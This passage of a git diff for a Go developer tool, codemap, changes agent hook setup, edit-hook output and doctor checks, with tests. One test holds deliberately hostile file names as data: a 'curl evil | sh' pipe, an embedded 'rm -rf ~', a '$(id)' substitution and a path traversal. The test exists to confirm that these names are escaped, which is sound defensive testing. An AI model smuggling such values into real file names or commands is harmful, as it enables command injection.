!strings.HasPrefix(rel, ".."+string(filepath.Separator)) { + return rel, true + } + } + } + return "", false +} + // checkFileImporters checks if a file is a hub and shows its importers func checkFileImporters(root, filePath string) error { return checkFileImportersWithPhase(root, filePath, "") } func checkFileImportersWithPhase(root, filePath, phase string) error { + filePath, inRoot := projectRelPath(root, filePath) + if !inRoot { + return nil + } info := getHubInfoNoFallback(root) if info == nil { return nil // silently skip if deps unavailable } - // Handle absolute paths - convert to relative - if filepath.IsAbs(filePath) { - if rel, err := filepath.Rel(root, filePath); err == nil { - filePath = rel - } - } - importers := info.Importers[filePath] if scanner.CountHubImporters(importers) >= scanner.HubThreshold { fmt.Println() @@ -2402,44 +2409,9 @@ func checkFileImportersWithPhase(root, filePath, phase string) error { fmt.Println() } - showFileCodemapActions(root, filePath, len(importers), len(hubImports) > 0, phase) - return nil } -func showFileCodemapActions(root, filePath string, importerCount int, importsHub bool, phase string) { - steps := []codemapNextStep{ - { - Command: "codemap --importers " + shellQuoteIfNeeded(filePath), - Reason: "review blast radius for this file", - }, - } - if importerCount >= 3 || importsHub { - steps = append(steps, codemapNextStep{ - Command: "codemap --deps", - Reason: "verify dependency flow around this change", - }) - } - - if len(steps) == 0 { - return - } - - switch phase { - case "before": - fmt.Println(" Run now:") - case "after": - fmt.Println(" Re-check with:") - default: - fmt.Println(" Next codemap:") - } - hint := mcpToolHint(root) - for _, step := range steps { - fmt.Printf(" • %s%s — %s\n", step.Command, hint(step.Command), step.Reason) - } - fmt.Println() -} - // isHub checks if a file is a hub (has HubThreshold+ non-test importers). func (h *hubInfo) isHub(path string) bool { if scanner.IsTestFile(path) { @@ -2572,17 +2544,10 @@ func hookSessionStartMultiRepo(root string, childRepos []string) error { return nil } -// filesText and importersNoun keep counts grammatical: "1 file", "2 files". +// filesText keeps counts grammatical: "1 file", "2 files". func filesText(n int) string { if n == 1 { return "1 file" } return fmt.Sprintf("%d files", n) } - -func importersNoun(n int) string { - if n == 1 { - return "1 importer" - } - return fmt.Sprintf("%d importers", n) -} diff --git a/cmd/hooks_mcp_test.go b/cmd/hooks_mcp_test.go index 64a53d94..91cae9ae 100644 --- a/cmd/hooks_mcp_test.go +++ b/cmd/hooks_mcp_test.go @@ -21,6 +21,7 @@ func TestMCPToolHintOnlyWhenHostHasCodemapMCP(t *testing.T) { root, home := t.TempDir(), t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) t.Setenv("CODEMAP_HOOK_AGENT", "claude") if got := mcpToolHint(root)("codemap --importers a.go"); got != "" { @@ -45,6 +46,7 @@ func TestIntegrationDriftLineNamesRepairCommand(t *testing.T) { root, home := t.TempDir(), t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) writeClaudeProjectMCP(t, root, buildinfo.Current()) if line := integrationDriftLine(hostCodemapMCPEntries(root, "claude")); line != "" { diff --git a/cmd/hooks_more_test.go b/cmd/hooks_more_test.go index a6a0bae9..d5aedd87 100644 --- a/cmd/hooks_more_test.go +++ b/cmd/hooks_more_test.go @@ -157,6 +157,9 @@ func mustJSONInput(t *testing.T, v any) string { func writeProjectConfig(t *testing.T, root string, cfg config.ProjectConfig) { t.Helper() + if err := os.MkdirAll(filepath.Dir(config.ConfigPath(root)), 0o755); err != nil { + t.Fatal(err) + } if err := os.MkdirAll(projectpath.ProjectRuntimeDir(root), 0o755); err != nil { t.Fatal(err) } @@ -392,17 +395,10 @@ func TestExtractFilePathAndEditHooks(t *testing.T) { if hookErr != nil { t.Fatalf("hookPreEdit() error: %v", hookErr) } - checks := []string{ - "Before editing: pkg/types.go is a hub with 3 importers.", - "Run now:", - "codemap --importers pkg/types.go", - "codemap --deps", - } - for _, check := range checks { - if !strings.Contains(out, check) { - t.Fatalf("expected %q in output, got:\n%s", check, out) - } + if !strings.Contains(out, "Before editing: pkg/types.go is a hub with 3 importers.") { + t.Fatalf("expected hub warning, got:\n%s", out) } + assertNoEditNudge(t, out) }) withStdinInput(t, mustJSONInput(t, map[string]string{"file_path": target}), func() { @@ -411,20 +407,81 @@ func TestExtractFilePathAndEditHooks(t *testing.T) { if hookErr != nil { t.Fatalf("hookPostEdit() error: %v", hookErr) } - checks := []string{ - "After editing: pkg/types.go still fans out to 3 importers.", - "Re-check with:", - "codemap --importers pkg/types.go", - "codemap --deps", - } - for _, check := range checks { - if !strings.Contains(out, check) { - t.Fatalf("expected %q in output, got:\n%s", check, out) - } + if !strings.Contains(out, "After editing: pkg/types.go still fans out to 3 importers.") { + t.Fatalf("expected hub warning, got:\n%s", out) } + assertNoEditNudge(t, out) }) } +func TestEditHooksIgnoreFilesOutsideRoot(t *testing.T) { + root := t.TempDir() + outside := filepath.Join(t.TempDir(), "x.go") + writeWatchState(t, root, watch.State{ + UpdatedAt: time.Now(), + FileCount: 1, + Importers: map[string][]string{"../x.go": {"a.go", "b.go", "c.go"}}, + }) + for _, path := range []string{outside, "../x.go"} { + payload := mustJSONInput(t, map[string]string{"file_path": path, "session_id": "s"}) + for name, hook := range map[string]func(string) error{"pre-edit": hookPreEdit, "post-edit": hookPostEdit} { + withStdinInput(t, payload, func() { + if out := captureOutput(func() { _ = hook(root) }); out != "" { + t.Fatalf("%s on %s printed:\n%s", name, path, out) + } + }) + } + } + if _, err := os.Stat(agentEditsPath(root)); !os.IsNotExist(err) { + t.Fatalf("agent edits recorded for outside paths (stat err %v)", err) + } +} + +func TestProjectRelPathKeepsInRepoSymlinks(t *testing.T) { + root, elsewhere := t.TempDir(), t.TempDir() + if err := os.WriteFile(filepath.Join(elsewhere, "real.go"), []byte("package x\n"), 0o644); err != nil { + t.Fatal(err) + } + if err := os.Mkdir(filepath.Join(root, "lib"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.Symlink(filepath.Join(elsewhere, "real.go"), filepath.Join(root, "lib", "linked.go")); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + if err := os.Symlink(elsewhere, filepath.Join(root, "vendored")); err != nil { + t.Fatal(err) + } + for path, want := range map[string]string{ + filepath.Join(root, "lib", "linked.go"): filepath.Join("lib", "linked.go"), + filepath.Join(root, "vendored", "a.go"): filepath.Join("vendored", "a.go"), + projectpath.CanonicalPath(filepath.Join(root, "lib", "new.go")): filepath.Join("lib", "new.go"), + } { + if got, ok := projectRelPath(root, path); !ok || got != want { + t.Fatalf("projectRelPath(%s) = %q, %v; want %q, true", path, got, ok, want) + } + } + if _, ok := projectRelPath(root, filepath.Join(elsewhere, "real.go")); ok { + t.Fatal("a file outside the repo counted as inside") + } + if err := recordAgentEdit(root, "s", filepath.Join(root, "lib", "linked.go"), time.Now()); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(agentEditsPath(root)); err != nil { + t.Fatalf("in-repo symlink edit was not recorded: %v", err) + } +} + +// assertNoEditNudge checks the edit hooks no longer print command lists that +// agents ignored (0.9% follow-through), while the hub facts stay. +func assertNoEditNudge(t *testing.T, out string) { + t.Helper() + for _, gone := range []string{"Run now:", "Re-check with:", "Next codemap:", "codemap --importers", "codemap --deps"} { + if strings.Contains(out, gone) { + t.Fatalf("edit hook should not print %q, got:\n%s", gone, out) + } + } +} + func TestCheckFileImportersAndRouteSuggestions(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("windows: hub lookup by native path, tracked in #214") @@ -461,12 +518,7 @@ func TestCheckFileImportersAndRouteSuggestions(t *testing.T) { if !strings.Contains(out, "Imports 1 hub(s): shared/hub.go") { t.Fatalf("expected hub import summary, got:\n%s", out) } - if !strings.Contains(out, "Next codemap:") || !strings.Contains(out, "codemap --importers pkg/types.go") { - t.Fatalf("expected actionable codemap guidance, got:\n%s", out) - } - if !strings.Contains(out, "codemap --deps") { - t.Fatalf("expected dependency guidance, got:\n%s", out) - } + assertNoEditNudge(t, out) cfg := config.ProjectConfig{ Routing: config.RoutingConfig{ @@ -540,9 +592,6 @@ func TestHookPromptSubmitShowsContextAndProgress(t *testing.T) { checks := []string{ "Context for mentioned files", "pkg/types.go is a HUB", - "Next codemap:", - "codemap --importers pkg/types.go", - "codemap --deps", "Suggested context routes", "watching", "Session so far: 2 files edited, 1 hub edits", @@ -552,6 +601,9 @@ func TestHookPromptSubmitShowsContextAndProgress(t *testing.T) { t.Fatalf("expected %q in output, got:\n%s", check, out) } } + if strings.Contains(out, "Next codemap:") { + t.Fatalf("prompt-submit should not print Next codemap:, got:\n%s", out) + } }) } @@ -590,11 +642,24 @@ func TestShowConfigSetupHint(t *testing.T) { } }) - t.Run("missing config emits setup hint", func(t *testing.T) { + t.Run("git repo that never ran setup stays quiet", func(t *testing.T) { + // #184: nothing was set up, so there is nothing to finish. root := t.TempDir() if err := os.Mkdir(filepath.Join(root, ".git"), 0o755); err != nil { t.Fatal(err) } + if out := captureOutput(func() { showConfigSetupHint(root) }); strings.TrimSpace(out) != "" { + t.Fatalf("expected no setup hint in an un-set-up repo, got:\n%s", out) + } + }) + + t.Run("set-up repo missing its config emits setup hint", func(t *testing.T) { + root := t.TempDir() + for _, dir := range []string{".git", ".codemap"} { + if err := os.Mkdir(filepath.Join(root, dir), 0o755); err != nil { + t.Fatal(err) + } + } out := captureOutput(func() { showConfigSetupHint(root) }) if !strings.Contains(out, "codemap:config") { t.Fatalf("expected config marker, got:\n%s", out) @@ -1005,8 +1070,11 @@ func TestDaemonCommandHelpersAndMultiRepoShellout(t *testing.T) { root := t.TempDir() repos := []string{"svc-a", "svc-b", "svc-c", "svc-d", "svc-e", "svc-f"} for _, repo := range repos { - if err := os.MkdirAll(filepath.Join(root, repo, ".git"), 0o755); err != nil { - t.Fatal(err) + // Set up but unconfigured, so each child also carries a setup hint. + for _, dir := range []string{".git", ".codemap"} { + if err := os.MkdirAll(filepath.Join(root, repo, dir), 0o755); err != nil { + t.Fatal(err) + } } } withHookRuntimeStubs( @@ -1037,11 +1105,13 @@ func TestDaemonCommandHelpersAndMultiRepoShellout(t *testing.T) { t.Run("multi repo start emits setup hints for child repos needing config", func(t *testing.T) { root := t.TempDir() for _, repo := range []string{"svc-a", "svc-b"} { - // Child repos are git checkouts (findChildRepos requires .git); - // the hint stays quiet for non-repos since #224. - repoPath := filepath.Join(root, repo, ".git") - if err := os.MkdirAll(repoPath, 0o755); err != nil { - t.Fatal(err) + // Child repos are set-up git checkouts (findChildRepos requires + // .git); the hint stays quiet for non-repos (#224) and for repos + // that never ran setup (#184). + for _, dir := range []string{".git", ".codemap"} { + if err := os.MkdirAll(filepath.Join(root, repo, dir), 0o755); err != nil { + t.Fatal(err) + } } } @@ -1118,7 +1188,7 @@ func TestAutomaticLinkedWorktreeUsesLocalHookState(t *testing.T) { t.Fatal(err) } linked := filepath.Join(t.TempDir(), "linked") - if err := os.MkdirAll(projectpath.ProjectRuntimeDir(linked), 0o755); err != nil { + if err := os.MkdirAll(linked, 0o755); err != nil { t.Fatal(err) } if err := os.WriteFile(filepath.Join(linked, ".git"), []byte("gitdir: "+gitDir+"\n"), 0o644); err != nil { diff --git a/cmd/intent.go b/cmd/intent.go index d82ea7bc..28969ca2 100644 --- a/cmd/intent.go +++ b/cmd/intent.go @@ -204,19 +204,9 @@ func classifyIntentWithFiles(prompt string, files, riskFiles []string, info *hub // Compute risk level and generate suggestions from hub analysis if info != nil && len(riskFiles) > 0 { intent.RiskLevel, intent.Suggestions = analyzeRiskWithEvidence(riskFiles, info, intent.Category, false) - } else if inferredOnly { - intent.RiskLevel = "unknown" - intent.Suggestions = []ContextSuggestion{{ - Type: "check-deps", - Target: ".", - Reason: "risk is unknown without an explicit file mention", - }} - } else { - intent.Suggestions = []ContextSuggestion{{ - Type: "check-deps", - Target: ".", - Reason: "risk is unknown without a configured file and available dependency graph", - }} + } + if intent.Suggestions == nil { + intent.Suggestions = []ContextSuggestion{} } return intent diff --git a/cmd/intent_gate_test.go b/cmd/intent_gate_test.go index a9a6b9ae..686c0c31 100644 --- a/cmd/intent_gate_test.go +++ b/cmd/intent_gate_test.go @@ -32,23 +32,6 @@ func TestClassifyIntentVCSDoesNotHijackCodePrompts(t *testing.T) { } } -func TestPlanCodemapNextStepsForVCSSuggestsDiffNotEditAdvice(t *testing.T) { - intent := TaskIntent{Category: "vcs", Confidence: 1} - steps := planCodemapNextSteps(intent, nil) - - var commands []string - for _, step := range steps { - commands = append(commands, step.Command) - } - joined := strings.Join(commands, "\n") - if strings.Contains(joined, "codemap --deps") || joined == "codemap ." { - t.Fatalf("VCS workflow got edit-flavored advice: %v", commands) - } - if !strings.Contains(joined, "codemap --diff") { - t.Fatalf("VCS workflow should suggest reviewing the diff, got: %v", commands) - } -} - func TestPromptSubmitSuppressesZeroConfidenceIntent(t *testing.T) { root := t.TempDir() @@ -82,5 +65,13 @@ func TestPromptSubmitEmitsConfidentIntent(t *testing.T) { if !strings.Contains(out, "codemap:intent") { t.Fatalf("confident intent should emit a marker, got:\n%s", out) } + if !strings.Contains(out, `"suggestions":[]`) { + t.Fatalf("intent marker should carry an empty suggestions list, got:\n%s", out) + } + for _, gone := range []string{"Next codemap:", "💡 Suggestions", "risk is unknown"} { + if strings.Contains(out, gone) { + t.Fatalf("prompt-submit should not print %q, got:\n%s", gone, out) + } + } }) } diff --git a/cmd/setup.go b/cmd/setup.go index b1157f5d..468f6bb7 100644 --- a/cmd/setup.go +++ b/cmd/setup.go @@ -111,6 +111,7 @@ func generatedClaudeHooks(executable string) []claudeHookSpec { {Event: "UserPromptSubmit", Command: command + " hook prompt-submit --integration=claude-setup"}, {Event: "PreCompact", Command: command + " hook pre-compact --integration=claude-setup"}, {Event: "SessionEnd", Command: command + " hook session-stop --integration=claude-setup"}, + {Event: "SubagentStart", Command: command + " hook subagent-start --integration=claude-setup"}, } } @@ -125,6 +126,7 @@ func generatedCodexHooks(executable string) []claudeHookSpec { // SessionEnd, not Stop: Codex fires Stop after every turn, and the // session-stop handler releases the lease and stops the daemon (#225). {Event: "SessionEnd", Command: command + " hook session-stop --agent=codex --integration=codex-setup"}, + {Event: "SubagentStart", Command: command + " hook subagent-start --agent=codex --integration=codex-setup"}, } } @@ -279,6 +281,10 @@ func RunSetup(args []string, defaultRoot string) int { } } + // Setup is what marks a project as set up (#184), with or without a config. + if err := os.MkdirAll(projectpath.CodemapDir(absRoot), 0o755); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not create %s: %v\n", projectpath.CodemapDir(absRoot), err) + } reportEnsureIgnored(os.Stdout, absRoot) if *skipHooks { @@ -761,6 +767,48 @@ func ensureClaudeHooks(settingsPath string, global bool) (ensureHooksResult, err return ensureClaudeHooksWithExecutable(settingsPath, global, executable) } +// SessionStartNotice is printed at the top of the session-start hook output. +var SessionStartNotice string + +// RepairSubagentHook adds the SubagentStart entry to the agent's hook files +// that codemap setup already manages, so an upgrade needs no re-run. Files +// without codemap's own session-start entry are never touched. +func RepairSubagentHook(root, agent string) { + pathFor, marker, note := claudeSettingsPath, "hook session-start --integration=claude-setup", "active next session" + if agent == "codex" { + pathFor, marker, note = codexHooksPath, "hook session-start --agent=codex --integration=codex-setup", "trust it from /hooks in Codex, then start a new session" + } + executable, err := resolveIntegrationExecutable() + if err != nil { + return + } + for _, global := range []bool{false, true} { + // A project .codex/hooks.json can come from a cloned repo, and Codex + // asks the user to trust new hooks: never tell them to trust a file + // codemap did not write. Only the user's own CODEX_HOME is repaired. + if agent == "codex" && !global { + continue + } + path, err := pathFor(root, global) + if err != nil { + continue + } + data, err := os.ReadFile(path) + if err != nil || !bytes.Contains(data, []byte(marker)) || bytes.Contains(data, []byte("hook subagent-start")) { + continue + } + var res ensureHooksResult + if agent == "codex" { + res, err = ensureCodexHooksWithExecutable(path, global, executable) + } else { + res, err = ensureClaudeHooksWithExecutable(path, global, executable) + } + if err == nil && res.WroteFile { + SessionStartNotice += fmt.Sprintf("codemap: added SubagentStart hook to %s, %s\n", path, note) + } + } +} + func ensureClaudeHooksWithExecutable(settingsPath string, global bool, executable string) (ensureHooksResult, error) { return ensureHooks(settingsPath, global, generatedClaudeHooks(executable), nil) } diff --git a/cmd/setup_repair_test.go b/cmd/setup_repair_test.go new file mode 100644 index 00000000..efaade59 --- /dev/null +++ b/cmd/setup_repair_test.go @@ -0,0 +1,76 @@ +package cmd + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +func TestRepairSubagentHook(t *testing.T) { + t.Cleanup(func() { SessionStartNotice = "" }) + home, root := t.TempDir(), t.TempDir() + t.Setenv("HOME", home) + t.Setenv("USERPROFILE", home) + path, _ := claudeSettingsPath(root, false) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + // Settings as an older codemap setup wrote them: no SubagentStart. + old := `{"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"codemap hook session-start --integration=claude-setup"}]}]}}` + if err := os.WriteFile(path, []byte(old), 0o644); err != nil { + t.Fatal(err) + } + // A settings file codemap does not manage must stay byte-identical. + globalPath, _ := claudeSettingsPath(root, true) + if err := os.MkdirAll(filepath.Dir(globalPath), 0o755); err != nil { + t.Fatal(err) + } + foreign := `{"hooks":{}}` + if err := os.WriteFile(globalPath, []byte(foreign), 0o644); err != nil { + t.Fatal(err) + } + + RepairSubagentHook(root, "claude") + got, _ := os.ReadFile(path) + if !strings.Contains(string(got), "hook subagent-start --integration=claude-setup") { + t.Fatalf("SubagentStart not added:\n%s", got) + } + RepairSubagentHook(root, "claude") + again, _ := os.ReadFile(path) + if string(again) != string(got) { + t.Fatal("second repair rewrote the file") + } + if strings.Count(SessionStartNotice, "\n") != 1 || !strings.Contains(SessionStartNotice, path) { + t.Fatalf("notice = %q", SessionStartNotice) + } + if g, _ := os.ReadFile(globalPath); string(g) != foreign { + t.Fatalf("unmanaged settings were touched:\n%s", g) + } + + // Codex: same repair on its own hooks file, with the trust step named. + t.Setenv("CODEX_HOME", filepath.Join(home, ".codex")) + codexPath, _ := codexHooksPath(root, true) + repoPath, _ := codexHooksPath(root, false) + oldCodex := `{"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"codemap hook session-start --agent=codex --integration=codex-setup"}]}]}}` + // The project file may come from a cloned repo: it must stay untouched. + for _, p := range []string{codexPath, repoPath} { + if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(p, []byte(oldCodex), 0o644); err != nil { + t.Fatal(err) + } + } + SessionStartNotice = "" + RepairSubagentHook(root, "codex") + if c, _ := os.ReadFile(codexPath); !strings.Contains(string(c), "hook subagent-start --agent=codex --integration=codex-setup") { + t.Fatalf("Codex SubagentStart not added:\n%s", c) + } + if r, _ := os.ReadFile(repoPath); string(r) != oldCodex || strings.Contains(SessionStartNotice, repoPath) { + t.Fatalf("project Codex hooks were repaired or named: %q\n%s", SessionStartNotice, r) + } + if !strings.Contains(SessionStartNotice, "/hooks in Codex") { + t.Fatalf("notice = %q", SessionStartNotice) + } +} diff --git a/cmd/setup_review_test.go b/cmd/setup_review_test.go index 3901bf98..3bac191c 100644 --- a/cmd/setup_review_test.go +++ b/cmd/setup_review_test.go @@ -1,6 +1,7 @@ package cmd import ( + "io" "os" "os/exec" "path/filepath" @@ -433,6 +434,7 @@ func TestRunDoctorReportsUnconfiguredProject(t *testing.T) { home := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) t.Setenv("PATH", t.TempDir()) doctorLookPath = func(name string) (string, error) { @@ -540,6 +542,7 @@ func TestDetectInstalledAgentsUsesHomeMarkers(t *testing.T) { home := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) t.Setenv("PATH", t.TempDir()) claude, codex := detectInstalledAgents() @@ -569,11 +572,12 @@ func TestRunDoctorReportsLocalCodemapIgnorePresent(t *testing.T) { t.Skip("git not available") } root := makeGitRepo(t) - if _, err := ensureCodemapIgnored(root); err != nil { + if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { t.Fatal(err) } + reportEnsureIgnored(io.Discard, root) out := captureOutput(func() { RunDoctor([]string{root}, ".") }) - if !strings.Contains(out, "OK local Codemap ignore") { + if !strings.Contains(out, "OK local Codemap ignore: machine state ignored via .codemap/.gitignore") { t.Fatalf("expected OK local-ignore diagnosis, got:\n%s", out) } if strings.Contains(out, "MISS local Codemap ignore") { @@ -592,9 +596,12 @@ func TestRunDoctorReportsOKWhenTrackedIgnoreIsEffective(t *testing.T) { if err := os.WriteFile(filepath.Join(root, ".gitignore"), []byte("node_modules/\n.codemap/\n"), 0o644); err != nil { t.Fatal(err) } + if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { + t.Fatal(err) + } out := captureOutput(func() { RunDoctor([]string{root}, ".") }) - if !strings.Contains(out, "OK local Codemap ignore: effective via") { + if !strings.Contains(out, "OK local Codemap ignore: machine state ignored via .gitignore:2:.codemap/") { t.Fatalf("expected effective-ignore OK, got:\n%s", out) } if strings.Contains(out, "MISS local Codemap ignore") { @@ -608,8 +615,12 @@ func TestDoctorCheckLocalCodemapIgnoreFailsWhenGitUnavailable(t *testing.T) { if _, err := exec.LookPath("git"); err != nil { t.Skip("git not available") } + root := t.TempDir() + if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { + t.Fatal(err) + } failures := 0 - out := captureOutput(func() { doctorCheckLocalCodemapIgnore(t.TempDir(), &failures) }) + out := captureOutput(func() { doctorCheckLocalCodemapIgnore(root, &failures) }) if failures != 1 { t.Fatalf("failures = %d, want 1", failures) } @@ -627,30 +638,95 @@ func TestRunDoctorReportsTrackedCodemapState(t *testing.T) { t.Skip("git not available") } root := makeRepoOnBranch(t, "main") - if _, err := ensureCodemapIgnored(root); err != nil { - t.Fatal(err) - } if err := os.MkdirAll(filepath.Join(root, ".codemap"), 0o755); err != nil { t.Fatal(err) } if err := os.WriteFile(filepath.Join(root, ".codemap", "config.json"), []byte("{}\n"), 0o644); err != nil { t.Fatal(err) } + runGitTestCmd(t, root, "add", "-f", ".codemap") + runGitTestCmd(t, root, "-c", "user.name=Test", "-c", "user.email=test@example.com", "commit", "-q", "-m", "commit config") out := captureOutput(func() { RunDoctor([]string{root}, ".") }) - if !strings.Contains(out, "OK tracked codemap state: 0 files under .codemap/ are committed") { - t.Fatalf("expected clean tracked-state line, got:\n%s", out) + if !strings.Contains(out, "OK tracked codemap state: no machine-state files under .codemap/ are committed") { + t.Fatalf("a committed config.json is not machine state, got:\n%s", out) } + // Legacy repo: an older codemap left state.json committed beside config.json, + // and the user committed files of their own there too. + for _, name := range []string{"state.json", "a b.json", "-rf"} { + if err := os.WriteFile(filepath.Join(root, ".codemap", name), []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + } runGitTestCmd(t, root, "add", "-f", ".codemap") runGitTestCmd(t, root, "-c", "user.name=Test", "-c", "user.email=test@example.com", "commit", "-q", "-m", "track codemap state") + // ...and untracked leftovers nothing reads any more. + for _, name := range []string{"hubs.txt", "projects/abc/handoff.latest.json", "notes/mine.txt"} { + path := filepath.Join(root, ".codemap", filepath.FromSlash(name)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + } var code int out = captureOutput(func() { code = RunDoctor([]string{root}, ".") }) if code == 0 { t.Fatalf("RunDoctor exit code = 0, want tracked state to fail\n%s", out) } - if !strings.Contains(out, "MISS tracked codemap state: 1 file(s) under .codemap/ are committed; run: git rm -r --cached .codemap") { - t.Fatalf("expected tracked-state diagnosis, got:\n%s", out) + for _, want := range []string{ + "MISS tracked codemap state: 1 machine-state file(s) under .codemap/ are committed:", + " (file names, not commands)\n .codemap/state.json\n", + " untrack with: git rm --cached -- .codemap/state.json\n", + "NOTE leftover codemap state: 2 file(s) under .codemap/ from an older codemap are no longer used and are safe to delete:\n" + + " (file names, not commands)\n .codemap/hubs.txt\n .codemap/projects/abc/handoff.latest.json\n", + "NOTE unrecognised files in .codemap/ (not touched by codemap): 3\n (file names, not commands)\n .codemap/-rf\n .codemap/a\\x20b.json\n .codemap/notes/mine.txt\n", + "OK state dir: ", + } { + if !strings.Contains(out, want) { + t.Fatalf("expected %q in tracked-state diagnosis, got:\n%s", want, out) + } + } + if strings.Contains(out, "config.json\"") || strings.Contains(out, "git rm -r") || strings.Contains(out, "by hand") { + t.Fatalf("untrack report must name only machine state:\n%s", out) + } +} + +// Tracked names are repo-controlled: a hostile one is listed as quoted data +// and never reaches the printed command line. +func TestTrackedStateDetailKeepsHostileNamesOutOfTheCommand(t *testing.T) { + hostile := []string{ + ".codemap/x; curl evil | sh", + ".codemap/state.json\nrm -rf ~", + ".codemap/$(id)", + ".codemap/projects/../../etc", + ".codemap/handoff.a b.json", + } + out := trackedStateDetail(append([]string{".codemap/hubs.txt"}, hostile...)) + var command string + for _, line := range strings.Split(out, "\n") { + if strings.Contains(line, "git rm") { + command = line + } + } + if command != " untrack with: git rm --cached -- .codemap/hubs.txt" { + t.Fatalf("command line = %q\nfull output:\n%s", command, out) + } + for _, escaped := range []string{ + ` .codemap/x\x3b\x20curl\x20evil\x20\x7c\x20sh` + "\n", + ` .codemap/state.json\x0arm\x20-rf\x20\x7e` + "\n", + ` .codemap/\x24\x28id\x29` + "\n", + " .codemap/projects/../../etc\n", + ` .codemap/handoff.a\x20b.json` + "\n", + } { + if !strings.Contains(out, escaped) { + t.Fatalf("hostile name not listed as escaped data %q:\n%s", escaped, out) + } + } + if strings.ContainsAny(strings.ReplaceAll(out, "(file names, not commands)", ""), "$;|~\"") { + t.Fatalf("a shell metacharacter reached the output:\n%s", out) } } diff --git a/cmd/setup_run_test.go b/cmd/setup_run_test.go index 54ec925e..03358790 100644 --- a/cmd/setup_run_test.go +++ b/cmd/setup_run_test.go @@ -6,6 +6,8 @@ import ( "path/filepath" "strings" "testing" + + "codemap/internal/gitexclude" ) func TestClaudeSettingsPath(t *testing.T) { @@ -21,6 +23,7 @@ func TestClaudeSettingsPath(t *testing.T) { home := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) global, err := claudeSettingsPath(root, true) if err != nil { t.Fatalf("global claudeSettingsPath error: %v", err) @@ -72,6 +75,7 @@ func TestRunSetupGlobalSkillsFollowSymlinkedClaudeHome(t *testing.T) { root, home, dotfiles := t.TempDir(), t.TempDir(), t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) if err := os.MkdirAll(filepath.Join(root, ".git"), 0o755); err != nil { t.Fatal(err) } @@ -124,6 +128,7 @@ func TestRunSetupCreatesConfigAndHooks(t *testing.T) { home := t.TempDir() t.Setenv("HOME", home) t.Setenv("USERPROFILE", home) + t.Setenv("USERPROFILE", home) t.Setenv("CODEX_HOME", filepath.Join(home, ".codex")) first := captureOutput(func() { RunSetup([]string{"--agent", "both", root}, ".") }) if !strings.Contains(first, "Config: created") || !strings.Contains(first, "Claude hooks: created") || !strings.Contains(first, "Codex hooks: created") { @@ -197,28 +202,65 @@ func TestRunSetupUsesNearestGitRootFromNestedDirectory(t *testing.T) { } } -func TestRunSetupAddsOnlyLocalCodemapIgnore(t *testing.T) { +// TestRunSetupWritesStateIgnore: setup creates .codemap/.gitignore instead +// of an info/exclude rule, and once a hook writes machine state there, git +// can see only the committable files. +func TestRunSetupWritesStateIgnore(t *testing.T) { if _, err := exec.LookPath("git"); err != nil { t.Skip("git not available") } root := makeGitRepo(t) - t.Setenv("HOME", t.TempDir()) + home := t.TempDir() + t.Setenv("HOME", home) + t.Setenv("USERPROFILE", home) + exclude, err := infoExcludePath(root) + if err != nil { + t.Fatal(err) + } + before, _ := os.ReadFile(exclude) out := captureOutput(func() { - RunSetup([]string{"--agent", "codex", "--no-config", "--no-mcp", root}, ".") + RunSetup([]string{"--agent", "codex", "--no-mcp", root}, ".") }) - if !strings.Contains(out, "Added .codemap/ to "+filepath.Join(".git", "info", "exclude")) { - t.Fatalf("expected local-ignore notice, got:\n%s", out) + if !strings.Contains(out, "Wrote .codemap/.gitignore") { + t.Fatalf("expected state-ignore notice, got:\n%s", out) } - exclude, err := infoExcludePath(root) - if err != nil { - t.Fatal(err) + if data, err := os.ReadFile(filepath.Join(root, ".codemap", ".gitignore")); err != nil || string(data) != gitexclude.StateIgnore { + t.Fatalf(".codemap/.gitignore = %q, %v", data, err) } - data, err := os.ReadFile(exclude) - if err != nil || !strings.Contains(string(data), ".codemap/\n") { - t.Fatalf("expected .codemap/ in %s, data=%q, err=%v", exclude, data, err) + if after, _ := os.ReadFile(exclude); string(after) != string(before) { + t.Fatalf("setup changed %s:\n%s", exclude, after) } if _, err := os.Stat(filepath.Join(root, ".gitignore")); !os.IsNotExist(err) { t.Fatalf("setup must not create tracked .gitignore, err=%v", err) } + + withStdinInput(t, `{"tool_input":{"file_path":"main.go"},"session_id":"s"}`, func() { + captureOutput(func() { _ = hookPostEdit(root) }) + }) + if err := hookPreCompact(root); err != nil { + t.Fatal(err) + } + if _, err := os.Stat(agentEditsPath(root)); err != nil { + t.Fatalf("post-edit did not record in the state dir: %v", err) + } + entries, _ := os.ReadDir(filepath.Join(root, ".codemap")) + var names []string + for _, e := range entries { + names = append(names, e.Name()) + } + if got := strings.Join(names, ","); got != ".gitignore,config.json" { + t.Fatalf(".codemap/ holds %q, want only .gitignore and config.json", got) + } + status := exec.Command("git", "status", "--porcelain", "--ignored", "--untracked-files=all") + status.Dir = root + got, err := status.Output() + if err != nil { + t.Fatal(err) + } + for _, line := range strings.Split(strings.TrimSpace(string(got)), "\n") { + if strings.Contains(line, ".codemap/") && line != "?? .codemap/.gitignore" && line != "?? 